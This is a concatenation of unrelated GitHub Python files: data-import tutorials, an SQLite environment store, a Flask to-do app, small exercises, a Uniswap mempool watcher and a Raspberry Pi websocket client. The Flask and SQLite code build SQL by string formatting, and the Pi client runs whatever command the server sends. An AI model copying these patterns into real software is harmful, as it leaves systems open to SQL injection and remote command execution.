df2\r\nprint(df2.head())\r\n\r\n\r\n\r\n#IMPORT SAS FILES\r\n# Import sas7bdat package\r\nfrom sas7bdat import SAS7BDAT\r\n\r\n# Save file to a DataFrame: df_sas\r\nwith SAS7BDAT('sales.sas7bdat') as file:\r\n df_sas=file.to_data_frame()\r\n\r\n# Print head of DataFrame\r\nprint(df_sas.head())\r\n\r\n# Plot histogram of DataFrame features (pandas and pyplot already imported)\r\npd.DataFrame.hist(df_sas[['P']])\r\nplt.ylabel('count')\r\nplt.show()\r\n\r\n\r\n#Import h5py\r\n# Import packages\r\nimport numpy as np\r\nimport h5py\r\n\r\n# Assign filename: file\r\nfile='LIGO_data.hdf5'\r\n\r\n# Load file: data\r\ndata = h5py.File(file, 'r')\r\n\r\n# Print the datatype of the loaded file\r\nprint(type(data))\r\n\r\n# Print the keys of the file\r\nfor key in data.keys():\r\n print(key)\r\n\r\n\r\n\r\n\r\n# Get the HDF5 group: group\r\ngroup=data['strain']\r\n\r\n# Check out keys of group\r\nfor key in group.keys():\r\n print(key)\r\n\r\n# Set variable equal to time series data: strain\r\nstrain=data['strain']['Strain'].value\r\n\r\n# Set number of time points to sample: num_samples\r\nnum_samples=10000\r\n\r\n# Set time vector\r\ntime = np.arange(0, 1, 1/num_samples)\r\n\r\n# Plot data\r\nplt.plot(time, strain[:num_samples])\r\nplt.xlabel('GPS Time (s)')\r\nplt.ylabel('strain')\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n# Print the keys of the MATLAB dictionary\r\nprint(mat.keys())\r\n\r\n# Print the type of the value corresponding to the key 'CYratioCyt'\r\nprint(type(mat['CYratioCyt']))\r\n\r\n# Print the shape of the value corresponding to the key 'CYratioCyt'\r\nprint(np.shape(mat['CYratioCyt']))\r\n\r\n# Subset the array and plot it\r\ndata = mat['CYratioCyt'][25, 5:]\r\nfig = plt.figure()\r\nplt.plot(data)\r\nplt.xlabel('time (min.)')\r\nplt.ylabel('normalized fluorescence (measure of expression)')\r\nplt.show()\r\n\r\n\r\n#Connect to database\r\n#Here, you're going to fire up your very first SQL engine. You'll create an engine to connect to the SQLite database 'Chinook.sqlite', which is in your working directory. Remember that to create an engine to connect to 'Northwind.sqlite', Hugo executed the command\r\n\r\nengine = create_engine('sqlite:///Northwind.sqlite')\r\n\r\n#Here, 'sqlite:///Northwind.sqlite' is called the connection string to the SQLite database Northwind.sqlite. A little bit of background on the Chinook database: the Chinook database contains information about a semi-fictional digital media store in which media data is real and customer, employee and sales data has been manually created.\r\n\r\n#Why the name Chinook, you ask? According to their website,\r\n\r\n# The name of this sample database was based on the Northwind database. Chinooks are winds in the interior West of North America, where the Canadian Prairies and Great Plains meet various mountain ranges. Chinooks are most prevalent over southern Alberta in Canada. Chinook is a good name choice for a database that intends to be an alternative to Northwind.\r\n\r\n\r\n# Import necessary module\r\nfrom sqlalchemy import create_engine\r\n\r\n# Create engine: engine\r\nengine=create_engine('sqlite:///Chinook.sqlite')\r\n\r\n# Save the table names to a list: table_names\r\ntable_names=engine.table_names()\r\n\r\n# Print the table names to the shell\r\nprint(table_names)\r\n\r\n\r\n\r\n#Exectute sql database\r\n# Import packages\r\nfrom sqlalchemy import create_engine\r\nimport pandas as pd\r\n\r\n# Create engine: engine\r\nengine = create_engine('sqlite:///Chinook.sqlite')\r\n\r\n# Open engine connection: con\r\ncon=engine.connect()\r\n\r\n# Perform query: rs\r\nrs = con.execute('SELECT * FROM Album')\r\n\r\n# Save results of the query to DataFrame: df\r\ndf = pd.DataFrame(rs.fetchall())\r\n\r\n# Close connection\r\ncon.close()\r\n\r\n\r\n\r\n\r\n#EXecute a sql to get only a limited number of columns\r\n# Import packages\r\nfrom sqlalchemy import create_engine\r\nimport pandas as pd\r\n\r\n# Create engine: engine\r\nengine = create_engine('sqlite:///Chinook.sqlite')\r\n\r\n# Perform query and save results to DataFrame: df\r\nwith engine.connect() as con:\r\n rs = con.execute('SELECT LastName, Title FROM Employee')\r\n df = pd.DataFrame(rs.fetchmany(size=3))\r\n df.columns = rs.keys()\r\n\r\n# Print the length of the DataFrame df\r\nprint(len(df))\r\n\r\n# Print the head of the DataFrame df\r\nprint(df.head())\r\n\r\n\r\n\r\n# Create engine: engine\r\nengine = create_engine('sqlite:///Chinook.sqlite')\r\n\r\n# Open engine in context manager\r\n# Perform query and save results to DataFrame: df\r\nwith engine.connect() as con:\r\n rs = con.execute('SELECT * FROM Employee WHERE EmployeeId>=6')\r\n df = pd.DataFrame(rs.fetchall())\r\n df.columns = rs.keys()\r\n\r\n# Print the head of the DataFrame df\r\nprint(df.head())\r\n\r\n\r\n\r\n\r\n#READING SQL WITH PANDA\r\n# Import packages\r\nfrom sqlalchemy import create_engine\r\nimport pandas as pd\r\n\r\n# Create engine: engine\r\nengine=create_engine('sqlite:///Chinook.sqlite')\r\n\r\n# Execute query and store records in DataFrame: df\r\ndf = pd.read_sql_query(\"SELECT * FROM Album\", engine)\r\n\r\n# Print head of DataFrame\r\nprint(df.head())\r\n\r\n# Open engine in context manager\r\n# Perform query and save results to DataFrame: df1\r\nwith engine.connect() as con:\r\n rs = con.execute(\"SELECT * FROM Album\")\r\n df1 = pd.DataFrame(rs.fetchall())\r\n df1.columns = rs.keys()\r\n\r\n# Confirm that both methods yield the same result: does df = df1 ?\r\nprint(df.equals(df1))\r\n\r\n\r\n#Joining Tables\r\n# Open engine in context manager\r\n# Perform query and save results to DataFrame: df\r\nwith engine.connect() as con:\r\n rs=con.execute(\"SELECT Title, Name FROM Album INNER JOIN Artist WHERE Album.ArtistID=Artist.ArtistID\")\r\n df=pd.DataFrame(rs.fetchall())\r\n df.columns=rs.keys()\r\n\r\n# Print head of DataFrame df\r\nprint(df.head())","repo_name":"hitron/Python-Data-Handling","sub_path":"import.py","file_name":"import.py","file_ext":"py","file_size_in_byte":7907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37423934649","text":"import sqlite3\nimport os\nfrom ... import ErsiliaBase\n\nENVIRONMENTDB_FILE = \".environment.db\"\n\n\nclass EnvironmentDb(ErsiliaBase):\n def __init__(self, config_json=None):\n ErsiliaBase.__init__(self, config_json=config_json)\n self.file_path = os.path.join(self.eos_dir, ENVIRONMENTDB_FILE)\n self._table = None\n\n @property\n def table(self):\n return self._table\n\n @table.setter\n def table(self, table):\n self._table = table\n self.create_table()\n\n @table.deleter\n def table(self):\n del self._table\n\n def _connect(self):\n return sqlite3.connect(self.file_path)\n\n def create_table(self):\n if self._table is None:\n return\n sql = \"\"\"\n CREATE TABLE IF NOT EXISTS {0} (\n model_id text,\n env text,\n PRIMARY KEY (model_id, env)\n );\n \"\"\".format(\n self._table\n )\n conn = self._connect()\n c = conn.cursor()\n c.execute(sql)\n conn.commit()\n conn.close()\n\n def _fetch_tables(self):\n if self._table is None:\n return\n conn = self._connect()\n c = conn.cursor()\n c.execute('SELECT name FROM sqlite_master WHERE type = \"table\"')\n res = {x[0] for x in list(c.fetchall())}\n conn.close()\n return res\n\n def insert(self, model_id, env):\n if self._table is None:\n return\n sql = \"\"\"\n INSERT OR IGNORE INTO {0} (model_id, env) VALUES ('{1}', '{2}')\n \"\"\".format(\n self._table, model_id, env\n )\n conn = self._connect()\n c = conn.cursor()\n c.execute(sql)\n conn.commit()\n conn.close()\n\n def delete(self, model_id, env):\n if self._table is None:\n return\n sql = \"\"\"\n DELETE FROM {0}\n WHERE model_id = '{1}' AND env = '{2}'\n \"\"\".format(\n self._table, model_id, env\n )\n conn = self._connect()\n c = conn.cursor()\n c.execute(sql)\n conn.commit()\n conn.close()\n\n def envs_of_model(self, model_id):\n if self._table is None:\n return\n sql = \"\"\"\n SELECT env FROM {0}\n WHERE model_id = '{1}'\n \"\"\".format(\n self._table, model_id\n )\n conn = self._connect()\n c = conn.cursor()\n c.execute(sql)\n res = {x[0] for x in c.fetchall()}\n conn.close()\n return res\n\n def models_of_env(self, env):\n if self._table is None:\n return\n sql = \"\"\"\n SELECT model_id FROM {0}\n WHERE env = '{1}'\n \"\"\".format(\n self._table, env\n )\n conn = self._connect()\n c = conn.cursor()\n c.execute(sql)\n res = {x[0] for x in c.fetchall()}\n conn.close()\n return res\n\n def models_with_same_env(self, model_id):\n if self._table is None:\n return\n sql = \"\"\"\n SELECT model_id FROM {0}\n WHERE env IN (SELECT env FROM {0} WHERE model_id = '{1}')\n \"\"\".format(\n self._table, model_id\n )\n conn = self._connect()\n c = conn.cursor()\n c.execute(sql)\n res = {x[0] for x in c.fetchall()}\n conn.close()\n return res\n\n def envs_with_same_model(self, env):\n if self._table is None:\n return\n sql = \"\"\"\n SELECT env FROM {0}\n WHERE model_id IN (SELECT model_id FROM {0} WHERE env = '{1}')\n \"\"\".format(\n self._table, env\n )\n conn = self._connect()\n c = conn.cursor()\n c.execute(sql)\n res = {x[0] for x in c.fetchall()}\n conn.close()\n return res\n\n def fetchall(self):\n if self._table is None:\n return\n sql = \"\"\"\n SELECT * FROM {0}\n \"\"\".format(\n self._table\n )\n conn = self._connect()\n c = conn.cursor()\n c.execute(sql)\n res = list(c.fetchall())\n conn.close()\n return res\n\n def clean(self):\n if self._table is None:\n return\n sql = \"\"\"\n DELETE FROM {0}\n \"\"\".format(\n self._table\n )\n conn = self._connect()\n c = conn.cursor()\n c.execute(sql)\n conn.commit()\n conn.close()\n","repo_name":"ersilia-os/ersilia","sub_path":"ersilia/db/environments/localdb.py","file_name":"localdb.py","file_ext":"py","file_size_in_byte":4383,"program_lang":"python","lang":"en","doc_type":"code","stars":151,"dataset":"github-code","pt":"37"} +{"seq_id":"21422281188","text":"# Much like the other function to find the index of value in a sorted list, this one list the closest overall index for a number\n\ndef seek_closest_index(n,target_list):\n \n tl = target_list\n\n value_list = seek_value_index(n,target_list)\n \n bi = value_list[0]\n ei = value_list[1]\n \n closen_one = None\n \n if abs((tl[bi]-n)**2)<=abs((tl[ei]-n)**2):\n closen_one = bi\n else:\n closen_one = ei\n \n return closen_one\n","repo_name":"Gui-DiGiorgi/Solving-problems-with-code","sub_path":"Find closest index for a number in a sorted list.py","file_name":"Find closest index for a number in a sorted list.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39149348975","text":"\"\"\"Almacenar en una lista 5 empleados, cada elemento de la lista es una sub lista con el nombre del empleado junto a sus últimos tres sueldos (estos tres valores en una tupla)\r\nEl programa debe tener las siguientes funciones:\r\n1)Carga de los nombres de empleados y sus últimos tres sueldos.\r\n2)Imprimir el monto total cobrado por cada empleado.\r\n3)Imprimir los nombres de empleados que tuvieron un ingreso trimestral mayor a 10000 en los últimos tres meses.\r\nTener en cuenta que la estructura de datos si se carga por asignación debería ser similar a:\r\nempleados = [[\"juan\",(2000,3000,4233)] , [\"ana\",(3444,1000,5333)] , etc. ]\"\"\"\r\n\r\ndef Decorar(mensaje):\r\n print(len(mensaje)*\"*\")\r\n print(mensaje.upper())\r\n print(len(mensaje)*\"*\")\r\n\r\ndef CargaEmple():\r\n traduccion=[\"primer\",\"segundo\", \"tercer\", \"cuarto\", \"quinto\", \"sexto\"]\r\n empleados=[]\r\n for x in range(5):\r\n Decorar(\"Datos del %s empleado\" % (traduccion[x]))\r\n nombre=input(\"Introducir nombre: \")\r\n salarios=[]\r\n for y in range(3):\r\n logica=False\r\n while logica==False:\r\n salario=float(input(\"Introducir [%s] salario: \" % (traduccion[y])))\r\n if salario>=100:\r\n logica=True\r\n else:\r\n print(\"---> El salario minimo debe de ser 100.\")\r\n salarios.append(round(salario, 2))\r\n salarios=tuple(salarios)\r\n empleados.append([nombre,salarios])\r\n return empleados\r\n\r\ndef MostrarEmples(empleados):\r\n Decorar(\"plantilla de empleados\")\r\n for x in range(len(empleados)):\r\n print(\"Nombre: %s\" % (empleados[x][0]))\r\n print(\"Salarios: \", empleados[x][1]) # Se debe imprimir de esta forma ya que '%s' no admite imprimir tuplas completas, habria que desempaquetarla\r\n print(\"------------------------------\")\r\n\r\ndef SalarioTotal(empleados):\r\n total=[]\r\n for x in range(len(empleados)):\r\n suma=0\r\n for y in range(len(empleados[x][1])):\r\n suma=suma+empleados[x][1][y]\r\n total.append(round(suma, 2)) #Lo redondee porque daba decimales muy largos aun estando redondeado en la funcion anterior\r\n Decorar(\"Total cobrado por empleado\")\r\n for x in range(len(empleados)):\r\n print(\"Nombre: %s\" % (empleados[x][0]))\r\n print(\"Salario Total: %s\" % (total[x]))\r\n print(\"------------------------------\")\r\n return total\r\n\r\ndef SalarioTrimestral(total, empleados):\r\n mayores=[]\r\n for x in range(len(empleados)):\r\n if total[x]>=10000:\r\n mayores.append([empleados[x][0], total[x]])\r\n Decorar(\"Empleados con salario trimestral mayor o igual a 10.000\")\r\n for x in range(len(mayores)):\r\n print(\"Nombre: %s\" % (mayores[x][0]))\r\n print(\"Salario Trimestral: %s\" % (mayores[x][1]))\r\n print(\"------------------------------\")\r\n\r\nemples=CargaEmple()\r\nMostrarEmples(emples)\r\ntotal=SalarioTotal(emples)\r\nSalarioTrimestral(total,emples)\r\n","repo_name":"chungomovil/python","sub_path":"retomar/32_1.py","file_name":"32_1.py","file_ext":"py","file_size_in_byte":2975,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22951027178","text":"a,b = 0,1\nglobal n\n\ndef parse(numString):\n global n\n try:\n n=int(numString)\n except ValueError:\n print(numString,\" is not an integer number, please give a new one: \")\n return False\n if n < 0:\n print(\"the \\\"n\\\" in F(n) must be > 0 but is \",n)\n return False\n return True\n \nwhile True:\n print(\"Please enter \\\"n\\\" for Fibonacci(n): \",end=\"\")\n numString = input()\n if parse(numString):\n if n == 0:\n print(\"%d\"%a)\n break\n elif n==1:\n print(\"%d %d\"%(a,b))\n break\n else:\n print(\"%d %d\"%(a,b),end=\" \")\n for i in range(n-1):\n c = a+b\n print(c,end=\" \")\n a=b\n b=c\n print(\"\")\n break;\n","repo_name":"uraich/IoT-Course","sub_path":"exercises/solutions/exercise_1/fibonacciV1.py","file_name":"fibonacciV1.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"9966838340","text":"from flask import Flask, render_template, request, redirect\nimport sqlite3\n#os module\nimport os\n#to check where the py file present\ncurrentdirectory = os.path.dirname(os.path.abspath(__file__))\nprint(currentdirectory)\n\n\n\napp = Flask(__name__)\n\n\n\n@app.route('/', methods=['POST','GET'])\ndef hello_world():\n if request.method == 'POST':\n id = request.form['id']\n tasknames = request.form['tasktodo']\n id1=request.form['id1']\n\n if id1==\"add\":\n connection = sqlite3.connect(str(currentdirectory) + \"/yourdailytask.db\")\n cursor = connection.cursor()\n queryadd = \"\"\"INSERT INTO yourdailytask VALUES('{taskname}')\"\"\".format(taskname=tasknames)\n cursor.execute(queryadd)\n connection.commit()\n cursor.close()\n return render_template('home.html')\n\n if id1==\"retrieve\":\n conn = sqlite3.connect(\"yourdailytask.db\")\n c = conn.cursor()\n\n c.execute(\"SELECT * FROM yourdailytask \")\n\n all_data=c.fetchall()\n print(all_data)\n\n return render_template('alldata.html',all_data=all_data)\n\n\n\n if id1==\"delete\":\n return \"deleting task\"\n\n\n return render_template('home.html')\n\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)","repo_name":"SACHINKV14/MCS_00_Sachin_Core_Python","sub_path":"practice 04 Dec/harsha_tasks/_17_Feb_2022/dailytasks/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20332013590","text":"# this script retrieves matching pages and similar images for a given image via yandex reverse image search\n\nimport google_matching_pages_to_csv\nimport google_similar_images_to_csv\nimport sys\n\n\ndef main(url, no_results, name, country_code, host_language):\n google_matching_pages_to_csv.main(\n url, no_results, name, country_code, host_language)\n google_similar_images_to_csv.main(\n url, no_results, name, country_code, host_language)\n\n\nif __name__ == \"__main__\":\n url = sys.argv[1]\n no_results = sys.argv[2]\n name = sys.argv[3]\n country_code = sys.argv[4]\n host_language = sys.argv[5]\n main(url, no_results, name, country_code, host_language)\n","repo_name":"sarahtartaruga/reverse-image-searcher","sub_path":"google_circulation.py","file_name":"google_circulation.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"34776678591","text":"#!/usr/bin/env python\n\n#https://leetcode.com/problems/longest-common-prefix/\n\n'''\n\nWrite a function to find the longest common prefix string amongst an array of strings.\n\nIf there is no common prefix, return an empty string \"\".\n\n\n\nExample 1:\n\nInput: strs = [\"flower\",\"flow\",\"flight\"]\nOutput: \"fl\"\n\nExample 2:\n\nInput: strs = [\"dog\",\"racecar\",\"car\"]\nOutput: \"\"\nExplanation: There is no common prefix among the input strings.\n\n\n\nConstraints:\n\n 1 <= strs.length <= 200\n 0 <= strs[i].length <= 200\n strs[i] consists of only lower-case English letters.\n\nRuntime: 38 ms, faster than 79.21% of Python3 online submissions for Longest Common Prefix.\nMemory Usage: 13.9 MB, less than 49.92% of Python3 online submissions for Longest Common Prefix.\n\n'''\n\nfrom typing import List\n\nclass Solution:\n def longestCommonPrefix(self, strs: List[str]) -> str:\n if len(strs) == 1:\n return strs[0]\n\n prefix = \"\"\n col = 0\n\n while True:\n c = None\n for str in strs:\n #WE HAVE COMPLETED A STRING\n l = len(str)\n if col > l-1 or l == 0:\n return prefix\n #FIRST LETTER\n if c == None:\n c = str[col]\n elif c != str[col]:\n return prefix\n prefix += c\n col += 1\n\n\nobj = Solution()\n\nprint(obj.longestCommonPrefix([\"flower\",\"flow\",\"flight\"]))\nprint(obj.longestCommonPrefix([\"dog\",\"racecar\",\"car\"]))\nprint(obj.longestCommonPrefix([\"dog\"]))\nprint(obj.longestCommonPrefix([\"ab\", \"a\"]))\n\n\n","repo_name":"earnshae/sample-algs","sub_path":"strings/longest-common-prefix.py","file_name":"longest-common-prefix.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19856494124","text":"class Inventory:\n\tdef __init__(self, capacity):\n\t\tself.capacity = capacity\n\t\tself.items = []\n\n\n\tdef add_item(self, item):\n\t\tresults = []\n\n\t\tif len(self.items) >= self.capacity:\n\t\t\tresults.append({\n\t\t\t\t'item_added': None,\n\t\t\t\t'message': 'You cannot carry any more, your inventory is full'})\n\t\telse:\n\t\t\tresults.append({\n\t\t\t\t'item_added': item,\n\t\t\t\t'message': 'You pick up the {0}!'.format(item.name)})\n\n\t\t\tself.items.append(item)\n\n\t\treturn results\n\n\n\tdef use(self, item_entity, **kwargs):\n\t\tif self.owner.energy >= 200:\n\t\t\tresults = []\n\n\t\t\titem_aspect = item_entity.item_aspect\n\n\t\t\tif item_aspect.use_function is None:\n\t\t\t\tresults.append({'message': 'The {0} cannot be used'.format(item_entity.name)})\n\t\t\telse:\n\t\t\t\tif item_aspect.targeting and not (kwargs.get('target_x') or kwargs.get('target_y')):\n\t\t\t\t\tresults.append({'targeting': item_entity})\n\t\t\t\telse:\n\t\t\t\t\tkwargs = {**item_aspect.function_kwargs, **kwargs}\n\t\t\t\t\titem_use_results = item_aspect.use_function(self.owner, **kwargs)\n\n\t\t\t\t\tfor item_use_result in item_use_results:\n\t\t\t\t\t\tif item_use_result.get('consumed'):\n\t\t\t\t\t\t\tself.remove_item(item_entity)\n\n\t\t\t\t\tresults.extend(item_use_results)\n\n\t\t\tself.owner.energy = 0\n\t\t\treturn results\n\n\t\telse:\n\t\t\treturn [{'not_enough_energy': True}]\n\n\n\tdef remove_item(self, item):\n\t\tself.items.remove(item)\n\n\n\tdef drop_item(self, item):\n\t\tresults = []\n\n\t\titem.x = self.owner.x\n\t\titem.y = self.owner.y\n\n\t\tself.remove_item(item)\n\t\tresults.append({'item_dropped': item, 'message': 'You dropped the {0}'.format(item.name)})\n\n\t\treturn results","repo_name":"Limboi/Magic-Circle","sub_path":"game/components/inventory.py","file_name":"inventory.py","file_ext":"py","file_size_in_byte":1529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"75148828266","text":"import asyncio\nimport json\nfrom web3 import Web3\nfrom colorama import Fore\nfrom websockets import connect\n\nINFURA = \"https://mainnet.infura.io/v3/0a762e0fa3d028c3aa513031\"\nINFURA_WS = \"wss://mainnet.infura.io/ws/v3/0aa513031\"\nweb3 = Web3(Web3.HTTPProvider(INFURA))\nprint(f'{Fore.YELLOW} Connected: {Fore.WHITE} {web3.is_connected()}')\n\n# ===============================================================================\ndef EventHandler(pending_tx):\n transaction = json.loads(pending_tx)\n txHash = transaction['params']['result']\n tx = web3.eth.get_transaction(txHash)\n if tx['to'] == web3.toChecksumAddress(\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\"):\n print(web3.toHex(tx['hash']))\n \n\nasync def subscribePendingTx():\n async with connect(INFURA_WS) as ws:\n await ws.send('{\"jsonrpc\": \"2.0\", \"id\": 1, \"method\": \"eth_subscribe\", \"params\": [\"newPendingTransactions\"]}')\n\n while True:\n try:\n pending_tx = await asyncio.wait_for(ws.recv(), timeout=15)\n EventHandler(pending_tx)\n except KeyboardInterrupt:\n exit()\n except:\n pass\n\nif __name__ == \"__main__\":\n while True:\n asyncio.run(subscribePendingTx())\n\n\n# swapExactTokensForTokensSupportingFeeOnTransferTokens()\n# swapExactETHForTokensSupportingFeeOnTransferTokens()\n# swapExactTokensForETHSupportingFeeOnTransferTokens()\n# Filtering uniswap router all pending hash\n# Filtering uniswap new create pair\n\n#uniswap factory\n# tx['to'] == web3.toChecksumAddress(\"0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f\")\n# tx['to'] == web3.toChecksumAddress(\"0x1F98431c8aD98523631AE4a59f267346ea31F984\"):\n \n","repo_name":"Gobindapaull/Python-Concepts-and-Fundamentals","sub_path":"web3/uniswapRouterPendingTx.py","file_name":"uniswapRouterPendingTx.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"19309531045","text":"\n\nfrom classes.paths import paths\nfrom classes.author import author\nfrom classes.book import book\nfrom classes.author import author\n\n\n\n# first pass was unresponsive: too much data. \n# let's keep data in files so we can start and resume\n\n#authors dirs is root/authors/first/firstsecond/\n# first contains two-letter pages\n# firstsecond contains author pages\n\nimport os\nfrom classes.paths import paths\nfrom classes.miniBook import miniBook\nfrom classes.titleSet import titleSet\n\n\nclass authorSet:\n def __init__(self):\n # maybe something more efficient, maybe just sit on yr hands.\n self.auths = []\n self.thePaths = paths()\n self.allowedTags = []\n for i in range(0,26):\n self.auths.append([])\n self.allowedTags.append([])\n\n def add(self, aut, gid):\n firsts = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n uppr = aut.name.upper()\n fc = firsts.find(uppr[0:1])\n if (fc==-1):\n print(\"AUTHOR NOT SORTABLE\")\n return\n for a in self.auths[fc]:\n if a.matches(aut):\n a.workIds.append(gid)\n # print('adding to', a.name)\n return\n newAut = aut.duplicate()\n newAut.workIds = [gid]\n ntag = newAut.authTag()\n nas = len(self.auths[fc])\n for i in range(0,nas):\n ob1 = self.auths[fc][i]\n if (ob1.authTag()>ntag):\n self.auths[fc].insert(i, newAut)\n return\n self.auths[fc].append(newAut)\n # print('added new author', newAut.name)\n\n def makeHTMLs(self, aTitleSet):\n pt = self.thePaths.htmlDir + \"authors\\\\\"\n if not os.path.exists(pt):\n os.makedirs(pt)\n firsts = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n fl = len(firsts)\n for i in range(0, fl):\n letter = firsts[i:i+1]\n pt = self.thePaths.htmlDir + \"\\\\authors\\\\\" + letter + \".html\"\n file = open(pt, \"w\") \n file.write(\"\")\n file.write('')\n file.write(\"\")\n file.write('

Page for ' + letter + ' authors

')\n file.write('

Authors:

')\n for at in self.auths[i]:\n file.write('' + at.name + '
')\n file.write(\"\")\n file.write(\"\")\n file.close() \n pt = self.thePaths.htmlDir + \"\\\\authors\\\\\" + letter + \"\\\\\"\n if not os.path.exists(pt):\n os.makedirs(pt)\n for at in self.auths[i]:\n print(\"make auth:\", at.name)\n htpt = at.htmlPath()\n file = open(htpt, \"w\") \n file.write(\"\")\n file.write('')\n file.write(\"\")\n file.write('

Author Page for ' + at.name + '

')\n file.write('

' + at.birth + \"-\" + at.death + '

')\n file.write('

Wikipedia page' + '

')\n file.write('

Books:

')\n for bid in at.workIds:\n minib = aTitleSet.lookupID(bid)\n file.write('' + bid + ':' + minib.title + '
')\n file.write(\"\")\n file.write(\"\")\n file.close() \n\n\n # filtering by author; add whole name to help me out\n def makeAuthorList(self):\n file = open(\"authorList.txt\", \"w\") \n firsts = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n fl = len(firsts)\n for i in range(0, fl):\n letter = firsts[i:i+1]\n for at in self.auths[i]:\n file.write(at.authTag() + ' ' + at.name + ', ' + str(at.birth) + '-' + str(at.death))\n file.close() \n\n def loadAllowedAuthors(self):\n firsts = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n file = open(\"authorList.txt\" + \"LOCfams.txt\", \"r\") \n lines = file.readlines() \n file.close()\n for ln in lines:\n spp = ln.find(' ')\n tag = ln[0:spp]\n fc = ln[0:1]\n fci = firsts.find(fc)\n if (fci!=-1):\n self.alloweds[fci].append(tag)\n \n def hasAllowedAuthor(self, minib):\n firsts = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n for aut in minib.authors:\n tg = aut.authorTag()\n fc = ln[0:1]\n fci = firsts.find(fc)\n if (fci==-1):\n return False\n if (tg in self.alloweds[fci]):\n return True\n return False\n\n","repo_name":"bernardio5/bookie","sub_path":"classes/authorSet.py","file_name":"authorSet.py","file_ext":"py","file_size_in_byte":4769,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"11662084410","text":"# from asyncio.windows_events import NULL\r\nimport json\r\nimport os\r\nimport sys\r\nimport time\r\nimport subprocess\r\n\r\nimport websocket\r\nfrom uuid import getnode as get_mac\r\n\r\nfrom config import *\r\nfrom ntpclient import *\r\n\r\nsys.path.append(os.path.dirname(os.path.abspath(__file__)) + \"/..\")\r\n\r\nDATA_SAVE_DIR = \"/home/pi/LightDance-RPi/data\"\r\n\r\n\r\nclass Client:\r\n def __init__(self):\r\n super(Client, self).__init__()\r\n self.url = f\"ws://{SERVER_IP}:{SERVER_PORT}\"\r\n self.action = \"\"\r\n self.payload = {}\r\n self.ntp_client = NTPClient()\r\n self.MAC = \":\".join((\"%012X\" % get_mac())[i : i + 2] for i in range(0, 12, 2))\r\n self.ws = None\r\n\r\n def start_client(self):\r\n print(f\"connecting to {self.url}\")\r\n while True:\r\n try:\r\n self.ws = websocket.WebSocketApp(\r\n self.url,\r\n on_open=self.on_open,\r\n on_message=self.on_message,\r\n on_close=self.on_close,\r\n on_error=self.on_error,\r\n )\r\n self.ws.run_forever()\r\n time.sleep(3)\r\n except websocket.WebSocketException:\r\n print(\"Failed to connect\")\r\n\r\n def send_response(self, topic: str, statusCode: int, payload: dict):\r\n message = json.dumps(\r\n {\r\n \"from\": \"RPi\",\r\n \"topic\": topic,\r\n \"statusCode\": statusCode,\r\n \"payload\": payload,\r\n }\r\n )\r\n print(\"Send message to server:\")\r\n print(message)\r\n self.ws.send(message)\r\n\r\n def on_open(self, ws):\r\n print(\"Successfully on_open\")\r\n self.MAC = \":\".join((\"%012X\" % get_mac())[i : i + 2] for i in range(0, 12, 2))\r\n print(f\"MAC address: {self.MAC}\")\r\n self.send_response(\"boardInfo\", 0, {\"MAC\": self.MAC})\r\n print(\"Mac address sent\")\r\n\r\n def on_close(ws, close_status_code, close_msg):\r\n print(\"websocket closed\")\r\n\r\n def on_error(self, ws, error):\r\n print(\"The error is %s\" % error)\r\n\r\n def parse_server_data(self, message):\r\n print(\"Message from server:\")\r\n print(message)\r\n try:\r\n message = json.loads(message)\r\n topic = message[\"topic\"]\r\n payload = message[\"payload\"]\r\n print(topic, payload)\r\n return topic, payload\r\n except:\r\n print(\"Invalid json format:\")\r\n print(message)\r\n\r\n def on_message(self, ws, message):\r\n topic, payload = self.parse_server_data(message)\r\n\r\n if topic == \"command\":\r\n print(\"execute payload:\")\r\n print(payload)\r\n status = -1\r\n message_to_server = \"\"\r\n\r\n try:\r\n process = subprocess.Popen(\r\n payload, stdout=subprocess.PIPE, stderr=subprocess.PIPE\r\n )\r\n outs, errs = process.communicate()\r\n outs = outs.decode()\r\n errs = errs.decode()\r\n status = process.poll()\r\n if status == 0:\r\n message_to_server = outs\r\n print(\"Subprocess Success\")\r\n\r\n else:\r\n message_to_server = errs\r\n print(\"Subprocess Error\")\r\n print(\"Error message:\")\r\n print(errs)\r\n except:\r\n print(\"hi\")\r\n print(\"Unable to run Subprocess\")\r\n message_to_server = \"Unable to run Subprocess\"\r\n\r\n command = [str(w) for w in payload]\r\n payload_to_server = {\r\n \"MAC\": self.MAC,\r\n \"command\": \" \".join(command),\r\n \"message\": message_to_server,\r\n }\r\n print(payload_to_server)\r\n self.send_response(\"command\", status, payload_to_server)\r\n\r\n elif topic == \"upload\":\r\n print(\"upload\")\r\n try:\r\n os.mkdir(DATA_SAVE_DIR)\r\n except:\r\n print(f\"directory {DATA_SAVE_DIR} exist\")\r\n\r\n print(os.path.join(DATA_SAVE_DIR, \"control.json\"))\r\n with open(os.path.join(DATA_SAVE_DIR, \"control.json\"), \"w\") as f:\r\n 